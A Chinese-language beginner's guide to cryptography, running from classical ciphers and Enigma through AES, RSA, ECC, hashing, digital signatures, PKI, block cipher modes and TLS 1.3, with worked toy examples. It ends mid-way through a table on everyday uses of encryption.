加密解密知识库完全指南 —— 从凯撒密码到量子密码

📌 本文定位: 这是一份面向初学者的加密解密领域知识库全景图。读完本文,你将理解密码学从古至今的完整脉络,掌握核心算法原理,并能够动手完成加密解密实操。文中所有专业术语都会在首次出现时以悬停提示(像这样)的方式给出解释,重要论文和资料会附上原文链接,方便你跳转扩展阅读。


第一章 加密解密领域概览

1.1 一句话定义

加密解密 是通过数学变换,让信息在开放信道中安全传输、在不可信环境中安全存储的科学。它解决的是数字世界的核心信任问题:如何在不安全的通道上,安全地传递秘密?

1.2 它解决的核心问题——CIA 三元组

信息安全有三大基石,合称CIA 三元组。下面的 SVG 图展示了三者的关系:

  • 机密性(Confidentiality):确保信息不被未授权的人看到。通过加密实现。
  • 完整性(Integrity):确保信息在传输过程中没有被篡改。通过哈希函数MAC实现。
  • 真实性(Authenticity):确保”对方确实是他声称的那个人”。通过数字签名实现。
机密性 Confidentiality 通过加密实现 完整性 Integrity 通过哈希 / MAC 实现 真实性 Authenticity 通过数字签名实现 CIA 三元组 —— 信息安全三大基石

1.3 最典型的应用场景

下面的表格用生活场景帮你建立直觉。请注意在”使用的技术”列中,每个缩写我们都用 <abbr> 标签做了悬停提示——鼠标指上去就能看到全称和解释[1]

场景 使用的技术 你每天都在用
HTTPS 网页浏览 TLS 1.3:ECDHE + AES-GCM + SHA-256 访问任何带🔒的网站
即时通讯 Signal 协议:X3DH + Double Ratchet + AES-CBC + HMAC 微信、WhatsApp
在线支付 TLS + 3D Secure + 支付令牌化 支付宝、微信支付
设备解锁 AES 全盘加密 + 安全飞地(Secure Enclave,芯片内独立安全区域) 手机锁屏密码
代码/软件签名 RSA/ECDSA + X.509 证书链 下载 App 时的验证
区块链/加密货币 ECDSA(比特币)/ EdDSA + SHA-256 BTC/ETH 交易

本节缩写速查表:

缩写 全称 一句话解释
TLS Transport Layer Security 传输层安全协议,HTTPS 的底层加密标准
AES Advanced Encryption Standard 全球最常用的对称加密算法
GCM Galois/Counter Mode AES 的一种”认证加密”模式,加密同时校验完整性
CBC Cipher Block Chaining AES 的一种传统模式,密文块链式关联
HMAC Hash-based Message Authentication Code 基于哈希的消息认证码
ECDHE Elliptic Curve Diffie-Hellman Ephemeral 椭圆曲线临时密钥交换,提供前向安全
ECDSA Elliptic Curve Digital Signature Algorithm 椭圆曲线数字签名算法
EdDSA Edwards-curve Digital Signature Algorithm 爱德华兹曲线数字签名,比 ECDSA 更快更简洁
X3DH Extended Triple Diffie-Hellman Signal 协议的初始密钥协商算法
RSA Rivest-Shamir-Adleman 第一个实用的非对称加密算法,以三位发明者命名
SHA Secure Hash Algorithm 安全哈希算法系列
X.509 数字证书的国际标准格式

💡 学习密码学的长期收益: 密码学是所有安全方向的基石。它能重塑你的思维——学会用「无法篡改」「零知识」「可验证」等视角重新审视数字世界。


第二章 加密解密发展历史

2.1 古典密码时代(公元前 1900 年 — 19 世纪)

密码学的历史几乎和人类文明一样长。从古埃及墓穴中非标准象形文字,到罗马军团的凯撒密码,隐藏秘密始终是人类的基本需求。

约公元前 1900 年 · 古埃及:最早的密码记录

一位书吏在贵族的墓穴铭文中使用了非标准的象形文字替代,被公认为最早的密码实践。这不是加密通信,而是一种仪式性的”隐藏书写”。

约公元前 600 年 · 斯巴达密码棒(Scytale)

最早的转置密码工具。将羊皮纸条缠绕在特定直径的木棒上书写,展开后字母顺序被打乱。只有使用相同直径木棒的接收者才能恢复原文——木棒直径就是”密钥”。

斯巴达密码棒

约公元前 50 年 · 凯撒密码(Caesar Cipher)

尤利乌斯·凯撒在军事通信中将字母按固定偏移量替换。例如偏移3位:A→D, B→E, C→F……这是最经典的单表替换密码。密钥空间仅25个(排除偏移0),属于极弱的加密。

约公元 800 年 · 肯迪(Al-Kindi):频率分析法

阿拉伯数学家肯迪在《破译密码信息的手稿》中提出了频率分析方法,这是密码学从”手艺”走向”科学”的转折点。

📖 频率分析怎么操作?(点击展开)

以英语为例,具体步骤:

  1. 统计英语正常频率:在大量英语文本中,E 出现频率最高(约 12.7%),其次是 T(9.1%)、A(8.2%)、O(7.5%)、I(7.0%)、N(6.7%)……最常用的单词是 “THE”、”AND”、”THAT” 等。
  2. 统计密文的字母频率:拿到一段密文后,数每个字母出现的次数,排出频率顺序。
  3. 匹对频率排名:密文里出现最多的那个字母,大概率对应明文中的 E。密文里第二多的,大概率对应 T……以此类推。
  4. 利用常见词辅助:如果密文里有三个字母的序列频繁重复出现,很可能就是 “THE”。英语中字母 “Q” 后面几乎总是跟 “U”,这也是破解线索。
  5. 逐步还原替换表

关键洞察: 单表替换之所以能被破解,是因为它没有改变字母的频率分布——A 被替换成 D 后,密文里 D 的频率就等于原文里 A 的频率。攻击者抓住了这个统计规律。

1467 年 · 阿尔贝蒂(Alberti):多表替换密码

意大利文艺复兴巨匠莱昂·巴蒂斯塔·阿尔贝蒂发明了密码轮盘(一个带两组字母的机械转盘,转动到不同位置对应不同的替换表)和多表替换密码[10]概念,被尊为”西方密码学之父”。

📖 多表替换密码是如何对抗频率分析的?(点击展开)

核心思路: 加密过程中不断切换替换表,让同一个明文字母在不同的位置被加密成不同的密文字母,打乱频率分布。

举例:假设有表A(A→D, B→E, C→F…)和表B(A→X, B→Y, C→Z…),按”ABABB”的顺序循环使用——

  • 第1个字母用表A加密
  • 第2个字母用表B加密
  • 第3个字母用表A加密
  • ……

这样原文里的三个”A”可能分别变成 D、X、D——频率分析就失效了。

1586 年 · 维吉尼亚密码(Vigenère Cipher)

法国外交官布莱斯·德·维吉尼亚在《密码学条约》中描述了基于关键词的多表替换系统。

📖 维吉尼亚密码怎么加密?(点击展开)

操作步骤:

  1. 选一个关键词,比如 “KEY”
  2. 把关键词反复重复,长度和明文对齐:
    • 明文:A T T A C K A T D A W N
    • 密钥:K E Y K E Y K E Y K E Y
  3. 每个明文字母按对应密钥字母的偏移量做凯撒替换:
    • A + K(偏移10)→ K
    • T + E(偏移4)→ X
    • T + Y(偏移24)→ R
    • ……
    • 最终密文:K X R K G I K X C K E L

为什么曾被称作”不可破译的密码”? 因为同一个字母 A,配合不同密钥字母(K/E/Y),分别变成 K/X/K——频率分析完全失效。这个密码屹立了三个世纪,直到 19 世纪才被卡西斯基(Kasiski)和巴贝奇(Babbage)通过寻找密钥周期漏洞分别独立破解。

1883 年 · 柯克霍夫原则(Kerckhoffs’s Principle)

荷兰密码学家奥古斯特·柯克霍夫在《军事密码学》中提出密码学的核心假设:

密码系统的安全性应该完全依赖于密钥的保密,而非算法的保密。

📖 为什么?(点击展开)

三条理由:

  1. 算法藏不住。 在商业软件和互联网时代,程序代码(算法)迟早会被逆向工程分析出来——Windows 源码都能泄露,你凭什么觉得加密算法能永远保密?
  2. 密钥可以随时换。 如果泄露的是算法,整个系统作废,必须重新设计。但如果泄露的是密钥,只需换一把新密钥,系统继续运转。
  3. 公开的算法经得起检验。 AES、RSA 都公开了二十多年,全球密码学家日夜攻击都没破——这说明它们真安全。反之,「保密」的算法没经历过公开检验,往往是掩耳盗铃——自认为安全,实际漏洞一堆。

反面教材: CSS(DVD 内容扰乱系统)使用了保密的加密算法,2000 年被逆向出源码后瞬间崩溃,全球 DVD 都能随意复制。

这一原则至今仍是密码系统设计的黄金法则。

2.2 机电密码时代(20 世纪初 — 1940 年代)

1918 年 · Arthur Scherbius 发明 Enigma

德国工程师谢尔比乌斯发明了 Enigma 转子密码机。

📖 Enigma 怎么工作?(点击展开,读完再看下面的图)

Enigma 看起来像一台打字机,内部核心组件:

  • 键盘 + 灯板:按下一个键,对应密文的灯泡亮起
  • 接线板(Plugboard):用插线交换字母对(比如 A↔G、T↔Z),这是第一层替换
  • 3-4 个转子(Rotors):每个转子内部有固定的替换接线(A→X、B→Y…),相当于多表替换的表。每次按键后最右边的转子转动一格,像里程表进位
  • 反射器(Reflector):电流到达反射器后被”反射”回来,再次经过三个转子走回头路

完整流程(按下 A 键):

  1. 电流从键盘 A → 接线板 → 转子1 → 转子2 → 转子3 → 反射器 → 转子3 → 转子2 → 转子1 → 接线板 → 灯泡 G 亮起
  2. 松开按键,转子3 转动一格。下次按 A 会输出完全不同的字母!

密钥空间高达 10²³(1.58 亿亿亿),德军认为它绝对安全。

下面的 SVG 图展示了简化后的 Enigma 加密流程。注意电流经过反射器后会原路返回再经过三个转子——这个设计正是 Enigma 最致命的弱点所在:

凯撒密码(偏移=3) 明文: A B C X Y Z 密文: D E F A B C Enigma 加密流程(简化) 输入 A 接线板Plugboard 转子1Rotor1 转子2Rotor2 转子3Rotor3 反射器Reflector 返回路径通过反射器沿原路返回 输出 G

图:凯撒密码替换规则(上)与 Enigma 加密流程(下)

1939-1945 年 · 布莱切利庄园与图灵的 Bombe 机

英国布莱切利庄园成为密码破解中心。艾伦·图灵设计了 Bombe 机电破解机。

📖 Enigma 的致命弱点——"字母不自加密"是什么意思?(点击展开)

Enigma 设计有一个数学上的必然结果:反射器导致字母永远不会被加密成自身。输入 A,经过接线板→转子→反射器→原路返回后,输出绝不可能是 A

这看似加强了安全性(密文和明文不同),实则泄露了关键信息:破解者知道”A 绝对不会在第 X 位置”。图灵利用这一点,配合每天都重复使用的「天气预报固定格式开头」(德军每天早上的天气预报格式是固定的——德军的一个愚蠢习惯),构造了 Known Plaintext Attack(已知明文攻击):他在猜到的明文和对应的密文之间寻找字母回路,大幅缩小了可能的转子位置组合——从 10²³ 缩小到人力可及的范围。

据估计,破解 Enigma 使二战缩短了 2~3 年。

1944 年 · Colossus:世界上第一台可编程电子计算机

由汤米·弗劳尔斯设计,用于破解更复杂的 Lorenz 密码机。Colossus 是密码学直接催生出现代计算机的明证。

2.3 现代密码时代(1949 年至今)

1949 年 · Shannon:信息论奠基

克劳德·香农发表了《保密系统的通信理论》(Communication Theory of Secrecy Systems),用信息论为密码学建立了严格的数学基础。他证明了一个重要结论:一次性密码本[11] 是理论上唯一绝对安全的加密方案。

1976 年 · Diffie-Hellman 密钥交换

惠特菲尔德·迪菲和马丁·赫尔曼发表了《密码学的新方向》(New Directions in Cryptography),首次提出了公钥密码学[12]的概念,解决了困扰密码学四千年的密钥分发问题[13]。这被公认为密码学史上最具革命性的突破。

1977 年 · RSA 算法 & DES 标准

Ron Rivest、Adi Shamir、Len Adleman 发表 RSA 算法——第一个实用的公钥加密方案。同年,NIST 将 IBM 开发的 DES[14] 定为美国联邦标准,这是第一个公开可用的标准化加密算法。

1991 年 · PGP:加密走向大众

菲尔·齐默尔曼发布 PGP(Pretty Good Privacy),首次将混合加密(RSA + IDEA)带给普通用户。齐默尔曼因”出口军火级别加密软件”被美国政府刑事调查三年——当时美国法律将强加密软件列为军火。

1994 年 · Shor 算法:量子威胁的出现

彼得·肖尔提出 Shor 量子算法,能够在多项式时间内分解大整数——未来量子计算机可在一小时内破解 RSA-2048。

2001 年 · AES 取代 DES

比利时密码学家 Joan Daemen 和 Vincent Rijmen 设计的 Rijndael 算法在公开竞赛中击败 14 个候选算法胜出,成为 AES 标准。

2004 年 · 王小云破解 MD5

中国密码学家王小云教授在国际密码学会议上宣布成功构造 MD5 碰撞[15]论文链接。随后她陆续破解了 SHA-1、MD4 等多个哈希算法,推动全球密码标准升级至 SHA-2/SHA-3。

2024 年 · NIST 发布后量子密码标准

NIST 正式发布三项后量子密码标准:FIPS 203(ML-KEM,基于格)、FIPS 204(ML-DSA)、FIPS 205(SLH-DSA),标志着密码学正式进入后量子时代。详见第十四章。


第三章 关键人物志

密码学的每一次重大飞跃,背后都站着少数天才的头脑。以下是塑造了密码学面貌的 12 位关键人物:

人物 年代 贡献
Gaius Julius Caesar 公元前 100–44 年 · 罗马 凯撒密码的发明者,将密码用于军事通信的第一人
Al-Kindi(肯迪) 约 801–873 年 · 阿拉伯 频率分析法的发明者,将密码破解提升为系统化科学
Leon Battista Alberti 1404–1472 年 · 意大利 “西方密码学之父”,发明密码轮盘和多表替换密码
Alan Turing(艾伦·图灵) 1912–1954 年 · 英国 设计 Bombe 机破解 Enigma,利用”字母不自加密”特性缩小搜索空间,现代计算机科学之父
Claude Shannon(克劳德·香农) 1916–2001 年 · 美国 “信息论之父”,《保密系统的通信理论》为密码学建立严格数学基础,证明一次性密码本的绝对安全性
Diffie & Hellman 1976 年 · 美国 《密码学的新方向》提出公钥密码学概念和 DH 密钥交换协议
Rivest, Shamir, Adleman 1977 年 · MIT 发明 RSA 算法,首个实用公钥加密方案,获 2002 年图灵奖
Phil Zimmermann 1954– · 美国 PGP 作者,将强加密带给大众,曾因此被美国政府刑事调查三年
王小云(Wang Xiaoyun) 1966– · 中国 山东大学教授,破解 MD5,推动全球哈希标准升级至 SHA-2/SHA-3
Peter Shor(彼得·肖尔) 1959– · MIT 1994 年提出 Shor 算法,证明量子计算机可破解 RSA 和 ECC
Joan Daemen 1965– · 比利时 AES(Rijndael)算法共同设计者
Daniel J. Bernstein 1971– · 美国 设计 Curve25519、ChaCha20、Poly1305 等现代加密算法,个人网站

第四章 核心概念与分类

4.1 三大密码学目标(CIA + N)

目标 英文 实现手段 生活类比
机密性 Confidentiality 加密(对称/非对称) 给信封上锁,只有收信人有钥匙
完整性 Integrity 哈希函数、MAC 快递包裹的防拆封条
真实性 Authenticity 数字签名、证书 合同上的手写签名
不可否认性[16] Non-repudiation 数字签名 + 时间戳 已签名的借条,无法抵赖

4.2 加密体系三大分类

下面这张图用一个统一的框架对比了对称加密、非对称加密和哈希函数——注意对比每种体系密钥的数量、加密方向、是否可逆

对称加密 一把钥匙开一把锁 🔑同一密钥 明文Hello World → 加密 → 密文3fA9$xK# → 解密 → 明文Hello World 🔑同密钥 代表算法:AES、DES、ChaCha20、SM4 | 速度快,适合大数据量 非对称加密 一把锁,两把不同的钥匙 🔓公钥(加密) 明文 → 加密 → 密文 → 解密 → 明文 🔐私钥解密 代表算法:RSA、ECC、SM2 | 慢但无需预先共享密钥 哈希函数 无密钥,不可逆 📄 → 🔨 → 🔢 任意长度输入 → 固定长度输出(摘要/指纹) 不可逆!无法从哈希值恢复原文 SHA-256("Hello") = 185f8db32271fe25...

图:三大加密体系对比——对称加密、非对称加密、哈希函数

4.3 易混淆概念对比表

对比维度 对称加密 非对称加密 哈希函数
密钥 1 把密钥 公钥 + 私钥 无密钥
可逆性 ✅ 可逆(有密钥) ✅ 可逆(有私钥) ❌ 单向不可逆
速度 极快(GB/s 级) 很慢(比对称慢 100-1000 倍)
典型用途 加密大量数据 密钥交换、数字签名 完整性校验、密码存储
密钥分发 困难(需安全信道) 容易(公钥可公开) 不涉及
举例 AES、ChaCha20、SM4 RSA、ECC、SM2 SHA-256、SM3、BLAKE3

⚠️ 最常见的误解: “MD5 加密” 和 “SHA-1 加密” —— 它们根本不是加密!MD5 和 SHA-1 是哈希函数,不可逆、没有密钥。正确的说法是 “MD5 摘要” 或 “SHA-1 哈希”。

4.4 密码学中的随机数:一切安全的根基

如果说密钥是加密的灵魂,那么随机数就是灵魂的源头。没有真随机数,AES-256 也能被预测——等于裸奔。

4.4.1 为什么密码学离不开随机数?

密码学中几乎每个环节都需要随机数:

场景 需要随机数做什么 如果不随机会怎样
密钥生成 生成不可预测的密钥 攻击者穷举少量可能密钥即可
Nonce / IV 确保相同明文每次加密出不同密文 密文可被对比破解(WEP 就是这样被破的)
ECDSA 签名 签名时需要一个随机数 k k 被猜出→私钥直接泄露(索尼PS3事件)
TLS 握手 Client Random / Server Random TLS 安全性完全崩溃
盐(Salt)[17] 每个密码一个随机盐 彩虹表攻击[18]一招毙命

4.4.2 PRNG vs CSPRNG vs TRNG

随机数分为三类,只有一类适合加密:

类型 PRNG CSPRNG TRNG
原理 数学公式(如线性同余) 密码学算法(AES-CTR / ChaCha20) 物理噪声(热噪声、光子辐射)
可预测性 知道种子即可预测 计算上不可预测 物理上不可预测
速度 极快 慢(受限于物理熵源速率)
用途 游戏、模拟 加密(都用这个) CSPRNG 的种子源
举例 Math.random() Linux /dev/urandom Intel RDRAND

⚠️ 关键认知: 日常加密用的都是 CSPRNG,不是 TRNG。操作系统从物理熵源收集种子,然后 CSPRNG 把少量真随机性”拉伸”成大量可用的安全随机数。

4.4.3 坏随机数的真实灾难

索尼 PS3 ECDSA 私钥泄露(2010):Sony 在 PS3 的 ECDSA 签名中用了固定的随机数 k。攻击者拿到两笔不同交易的签名,通过数学推导提取出私钥。PS3 被彻底破解。

Debian OpenSSL 弱密钥事件(2008):Debian 在修补 OpenSSL 时错误注释掉了一行熵收集代码,导致生成的 SSH/RSA 密钥仅依赖进程 PID(仅 32768 种可能)。全球上万服务器在使用可预测的弱密钥,持续了两年才被发现。


第五章 对称加密原理深度解析

5.1 流密码(Stream Cipher)

核心思想: 用一个密钥生成伪随机的”密钥流”,然后将密钥流与明文按位异或(XOR)[19]得到密文。解密时用相同的密钥生成相同的密钥流,再次异或还原明文。

下面的 SVG 展示了流密码从密钥到密文的完整过程:

密钥(Key)MySecret123 PRGA(伪随机生成器)RC4 / ChaCha20 密钥流A7 F2 0B 8E... 密文 明文(Plaintext)Hello World

图:流密码加密原理——密钥流与明文逐位异或

算法 密钥长度 状态 说明
RC4 40~2048 位 ❌ 已淘汰 WEP/WPA 无线安全的核心,因密钥流偏倚和 Nonce 重用被彻底攻破
ChaCha20 256 位 ✅ 推荐 Daniel Bernstein 设计,速度极快且在无硬件加速的设备上表现优异
ZUC(祖冲之) 128 位 ✅ 国密标准 中国自主设计,已被 3GPP 采纳为 LTE 国际标准

5.2 分组密码(Block Cipher)

核心思想: 将明文分割成固定大小的块(如 128 位=16 字节),对每一块分别进行加密变换。不同块之间通过工作模式(第九章)关联以增强安全性。

5.3 AES 深度解析

AES[20] 是目前全球使用最广泛的对称加密算法,由比利时密码学家设计(原名 Rijndael),在 NIST 公开竞赛中击败 14 个候选算法胜出。

参数 AES-128 AES-192 AES-256
密钥长度 128 位(16 字节) 192 位(24 字节) 256 位(32 字节)
分组大小 128 位 128 位 128 位
加密轮数 10 轮 12 轮 14 轮
安全性(经典) 128 位安全 192 位安全 256 位安全
量子安全性 约 64 位 约 96 位 约 128 位(仍安全)

下面这张图展示了 AES 的加密流程——注意理解轮数这个概念:AES 不是一遍就算完,而是把明文反复”揉面”多遍,每一遍叫做一轮:

AES 加密流程(SPN 结构[21] 128 位明文块 AddRoundKey(轮密钥加) 重复 N-1 轮(AES-256: 13 轮) SubBytes(S 盒替换) ShiftRows(行移位) MixColumns(列混淆) AddRoundKey 最后一轮(无 MixColumns) 128 位密文块 密钥扩展算法 256位密钥

图:AES 加密的 SPN 结构

AES 的四步操作(每轮都做):

  • SubBytes(字节替换)——混淆:每个字节通过 S 盒(一个 16×16 的非线性查找表)替换为另一个字节。这是 AES 安全性的核心来源。
  • ShiftRows(行移位)——扩散:将 4×4 状态矩阵的每一行循环左移不同偏移量,让一个列中的字节扩散到不同列。
  • MixColumns(列混淆)——扩散:将每一列的数据混合运算,进一步扩散。
  • AddRoundKey(轮密钥加)——密钥混合:将当前轮的密钥与状态矩阵逐字节异或。

📌 为什么 AES 安全? AES 的安全性建立在混淆(S 盒的非线性变换使输入输出关系极难分析)和扩散(ShiftRows 和 MixColumns 使每个输出位依赖于所有输入位)的组合上。AES-256 在量子计算机面前(Grover 算法)仍保持约 128 位有效安全强度。


第六章 非对称加密原理深度解析

6.1 RSA 算法原理

RSA 是密码学史上最优雅的发明之一——它解决了密钥分发这一困扰人类四千年的难题。其安全性建立在一个简单的数学事实之上:两个大质数相乘很容易,但从乘积反推两个质数极其困难。

RSA 密钥生成(完整步骤)

  1. 选择两个大质数:随机选 p 和 q(各 1024 位以上),计算 n = p × q。n 是”模数”,长度即密钥长度。
  2. 计算欧拉函数:φ(n) = (p-1) × (q-1)。这表示小于 n 且与 n 互质的正整数个数。
  3. 选择公钥指数 e:选一个与 φ(n) 互质的数 e,通常固定为 65537(0x10001),因为它是质数且二进制只有两个 1(计算快)。
  4. 计算私钥指数 d:求 e 关于模 φ(n) 的乘法逆元,即 e × d ≡ 1 (mod φ(n))。用扩展欧几里得算法可高效计算。
  5. 公钥 = (n, e),私钥 = (n, d)。p 和 q 必须销毁——任何持有 p、q 的人都能算出 d。

下面这张流程图展示了 RSA 从密钥生成到加密解密的完整路径:

RSA 加密与解密流程 密钥生成(一次性) 选大质数 p, q n = p × q φ(n) = (p-1)(q-1) 选 e: gcd(e, φ(n)) = 1 算 d: e × d ≡ 1 mod φ(n) 公钥 (n, e) → 公开 私钥 (n, d) → 保密 销毁 p, q 明文 mHello 加密 c = m^e mod n使用公钥 (n, e) c c 解密 m = c^d mod n使用私钥 (n, d) 明文 mHello 从 (n, e) 算出 d 需要分解 n = p × q n 为 2048 位时,经典计算机需要数十亿年

图:RSA 完整流程——密钥生成、加密、解密

用小学数学理解 RSA

选 p=3, q=11,则 n=33, φ(n)=20。

选 e=7(与 20 互质),则 d=3(因为 7×3=21≡1 mod 20)。

公钥 (33, 7),私钥 (33, 3)。

加密 m=4:c = 4⁷ mod 33 = 16384 mod 33 = 16

解密 c=16:m = 16³ mod 33 = 4096 mod 33 = 4

6.2 椭圆曲线密码学(ECC)

ECC[22] 与 RSA 实现相同的功能(加密、签名、密钥交换),但使用比 RSA 小得多的密钥达到相同的安全强度。

安全强度 RSA 密钥长度 ECC 密钥长度 密钥大小比
80 位 1024 位 160 位 6.4 : 1
128 位 3072 位 256 位 12 : 1
256 位 15360 位 512 位 30 : 1

主流曲线:

  • Curve25519(X25519): Daniel Bernstein 设计,256 位,约 128 位安全,速度极快且抗侧信道。TLS 1.3 和 Signal 协议的默认选择。
  • P-256(secp256r1): NIST 标准曲线,256 位,广泛使用但设计参数来源不完全透明。
  • secp256k1: 比特币和以太坊使用的曲线。
  • SM2: 中国国密标准椭圆曲线。

6.3 密钥交换:Diffie-Hellman

DH 密钥交换解决的核心问题:两个从未谋面的人,如何在不安全的信道上,协商出一个只有他们知道的共享密钥?

颜色混合类比(最经典的解释方式):

  1. Alice 和 Bob 公开约定一种”公共颜色”(比如黄色)。
  2. Alice 自选一种”私有颜色”(红色),与黄色混合得到橙色,发给 Bob。
  3. Bob 自选一种”私有颜色”(蓝色),与黄色混合得到绿色,发给 Alice。
  4. Alice 将收到的绿色与自己的私色(红)混合 → 得到某种棕色。
  5. Bob 将收到的橙色与自己的私色(蓝)混合 → 得到完全相同的棕色
  6. 窃听者 Eve 看到的只有黄色、橙色、绿色——无法混合出棕色。

数学实现: Alice 选私钥 a,计算 A = gª mod p 发给 Bob;Bob 选私钥 b,计算 B = gᵇ mod p 发给 Alice。共享密钥 = Bª mod p = Aᵇ mod p = gªᵇ mod p。窃听者从 g、gª、gᵇ 算出 gªᵇ 等价于解决离散对数问题[23]


第七章 哈希函数

哈希函数(Hash Function)任意长度的输入数据映射为固定长度的输出(称为摘要/散列值/指纹)。它与加密的核心区别是:哈希不能”解密”——它是单向的。

安全哈希函数的三个核心性质

性质 含义 生活类比
抗原像性(Pre-image Resistance) 给定哈希值 h,计算上不可行地找到 m 使 hash(m)=h 从指纹不能还原出人脸
抗第二原像性(Second Pre-image Resistance) 给定 m₁,计算上不可行地找到 m₂≠m₁ 使 hash(m₂)=hash(m₁) 不能伪造别人的指纹
抗碰撞性(Collision Resistance) 计算上不可行地找到任意两个不同输入产生相同哈希 理论上没有两人指纹完全相同

主流哈希算法对比

算法 输出长度 设计者 安全性 推荐度
MD5 128 位 Ron Rivest (1992) ❌ 2004 年被王小云实用化碰撞攻击 绝不使用
SHA-1 160 位 NSA (1995) ❌ 2017 年 Google 首次公开碰撞(SHAttered) 绝不使用
SHA-256 256 位 NSA (2001) ✅ 目前安全 ✅ 广泛推荐
SHA-512 512 位 NSA (2001) ✅ 更安全,但更慢 ✅ 高安全场景
SHA-3 (Keccak) 任意 Guido Bertoni 等 (2015) ✅ 全新海绵结构,安全冗余高 ✅ 推荐
BLAKE3 任意 Jack O’Connor 等 (2020) ✅ 比 SHA-256 快 10 倍+ ✅ 高性能场景
SM3 256 位 国家密码管理局 (2010) ✅ 中国国密标准 ✅ 国内合规场景

🚫 MD5 和 SHA-1 还能用吗?

安全场景绝对不能! MD5 在 2004 年被王小云实现了实用碰撞。SHA-1 在 2017 年由 Google 联合 CWI 研究所实现了首个碰撞攻击(消耗了 9,223,372,036,854,775,808 次 SHA-1 计算)。

仅可用于非安全场景: 文件下载完整性快速校验、去重等对安全性无要求的场景。但仍推荐至少使用 SHA-256。

哈希的实际应用

应用 说明
密码存储 存储 hash(password + salt),永远不存明文。推荐 bcrypt/scrypt/Argon2
文件完整性校验 下载文件后比对 SHA-256 值,防止文件损坏或被篡改
数字签名 先对文档做 SHA-256 摘要,再对摘要签名(比直接签大文档快)
区块链 比特币用 SHA-256 做工作量证明和交易 ID
Git 版本管理 每个 commit 都用 SHA-1(正迁移到 SHA-256)做唯一标识
消息认证码(HMAC) HMAC-SHA256(key, message) 同时验证完整性和真实性

第八章 数字签名与 PKI(公钥基础设施)

8.1 数字签名如何工作?

数字签名是非对称加密的逆向使用——用私钥签名[24],用公钥验证。它实现了身份认证 + 数据完整性。

下面的流程图展示了签名和验证的完整路径:

签名过程(发送方 Alice) 验证过程(接收方 Bob) 原始文档contract.pdf SHA-256哈希 私钥加密摘要 数字签名signature.sig 收到的文档 SHA-256 收到的签名 公钥解密 对比两个哈希值 相同 = 签名有效 ✅ 文档 + 签名 一起发送 →

图:数字签名流程——用私钥签名,用公钥验证

8.2 PKI 和证书链

公钥基础设施(PKI[25])解决了”你怎么确定这个公钥确实属于淘宝,而不是中间人伪造的?

下面的图展示了从根 CA 到服务器证书的信任传递:

X.509 证书信任链 根 CA(Root CA)DigiCert / Let's Encrypt / CFCA 用自己的私钥签名 ↓ 中间 CA(Intermediate CA)由根 CA 签名,代表根 CA 签发证书 用中间 CA 私钥签名 ↓ 服务器证书(End-entity)taobao.com / baidu.com 浏览器/操作系统 内置根证书列表 自动逐级验证 根→中间→服务器 全部通过 = 🔒 绿色锁

图:证书信任链——从根 CA 到服务器证书的逐级签名验证


第九章 加密工作模式与填充

9.1 分组密码的工作模式

分组密码只能加密固定大小的数据块(AES 为 128 位)。工作模式决定了如何处理多块数据以及块之间的关联方式。

模式 全称 特点 安全 推荐
ECB Electronic Codebook 每块独立加密,相同明文→相同密文 ❌ 极不安全 永不使用
CBC Cipher Block Chaining 每块与前一块密文 XOR 后再加密 ⚠️ 需配合 MAC 可用但不推荐新项目
CTR Counter 将分组密码转为流密码,用计数器生成密钥流 ✅ 推荐
GCM Galois/Counter Mode 认证加密[26]:同时提供加密 + 完整性验证 ✅ 最佳 ✅✅ 强烈推荐
CCM CTR + CBC-MAC 另一种认证加密模式 ✅ 嵌入式场景

⚠️ ECB 模式的著名”企鹅图”问题: 用 ECB 模式加密一张企鹅图片,虽然数据变了,但企鹅的轮廓清晰可见!因为相同颜色的像素块加密后仍然相同。这就是为什么 ECB 绝不应该被使用——它连最基本的模式隐藏都做不到。

9.2 填充方案

当明文长度不是分组大小的整数倍时,需要填充。最常用的是PKCS#7 填充:如果需要填充 n 个字节,每个填充字节的值都等于 n。

1
2
3
原始数据 (11 字节): 48 65 6C 6C 6F 20 57 6F 72 6C 64
PKCS#7 填充后 (16 字节): 48 65 6C 6C 6F 20 57 6F 72 6C 64 05 05 05 05 05
^^^^^^^^^^^^^^^ 5 个 0x05 = 需要填充 5 字节

第十章 当前主流加密方案全景

10.1 TLS 1.3 / HTTPS —— 互联网的安全基石

TLS 1.3[27](2018 年发布,RFC 8446)是现代互联网加密的核心协议。相比 1.2,它做了革命性的简化——废弃了所有不安全算法,将握手过程从 2-RTT 缩短为 1-RTT。

下面的流程图展示了一次完整的 TLS 1.3 握手:

TLS 1.3 握手流程(1-RTT) 👤 客户端 🖥️ 服务器 第 1 步 0ms ClientHello: 支持的密码套件 + 密钥共享(ECDHE) 第 2 步 1-RTT ServerHello: 选择密码套件 + 密钥共享(ECDHE)+ 证书(Certificate) + 完成(Finished) 第 3 步 Finished + HTTP 请求(已加密!) TLS 1.3 关键特性 • 只需 1-RTT(往返)+ 0-RTT 可选重连 • 仅支持前向安全的 AEAD 密码(AES-GCM / ChaCha20-Poly1305) • 移除所有不安全算法:RSA 密钥传输、CBC 模式、RC4、MD5、SHA-1

图:TLS 1.3 握手——现代互联网的加密握手协议

10.2 端到端加密:Signal 协议

Signal 协议是 WhatsApp、Signal、微信等数十亿用户使用的端到端加密协议。核心创新是 Double Ratchet(双棘轮)算法

  • X3DH(扩展三重 Diffie-Hellman): 初始密钥协商,即使一方离线也能完成
  • DH 棘轮: 每轮通信都生成新的 DH 密钥对,实现前向安全(即使长期密钥泄露,历史消息也无法解密)
  • 对称棘轮: 每条消息都衍生出新的对称密钥,实现后向安全(当前密钥泄露不影响未来消息)

10.3 磁盘与文件加密

方案 加密层 算法 平台
BitLocker 全盘加密 AES-128/256-CBC 或 XTS-AES Windows
FileVault 2 全盘加密 AES-XTS-128 macOS
LUKS/dm-crypt 全盘加密 AES、Twofish、Serpent(可选) Linux
VeraCrypt 卷/全盘加密 AES、Serpent、Twofish(可级联) 跨平台
Android FBE 文件级加密 AES-256-XTS Android 7.0+

10.4 区块链中的密码学

区块链是密码学的集大成应用:

  • 比特币: ECDSA (secp256k1) 用于交易签名,SHA-256 用于工作量证明,RIPEMD-160 用于地址生成
  • 以太坊: ECDSA (secp256k1) 用于交易签名,Keccak-256 用于地址和状态根
  • 零知识证明(ZKP): zk-SNARKs 使用配对友好椭圆曲线,实现”证明我知道 X 但不透露 X”

10.5 加密在你一天中的 24 小时

加密不是「打开浏览器才有的东西」——它渗透在你数字生活的每一秒。以下按时间线展示各个触点:

时间 行为 背后用的加密技术
🌅 7:00 按指纹解锁手机 TEE + AES 文件级加密
🌅 7:01 手机自动连上 Wi-Fi WPA3 SAE 握手 → AES-CCMP 加密所有流量
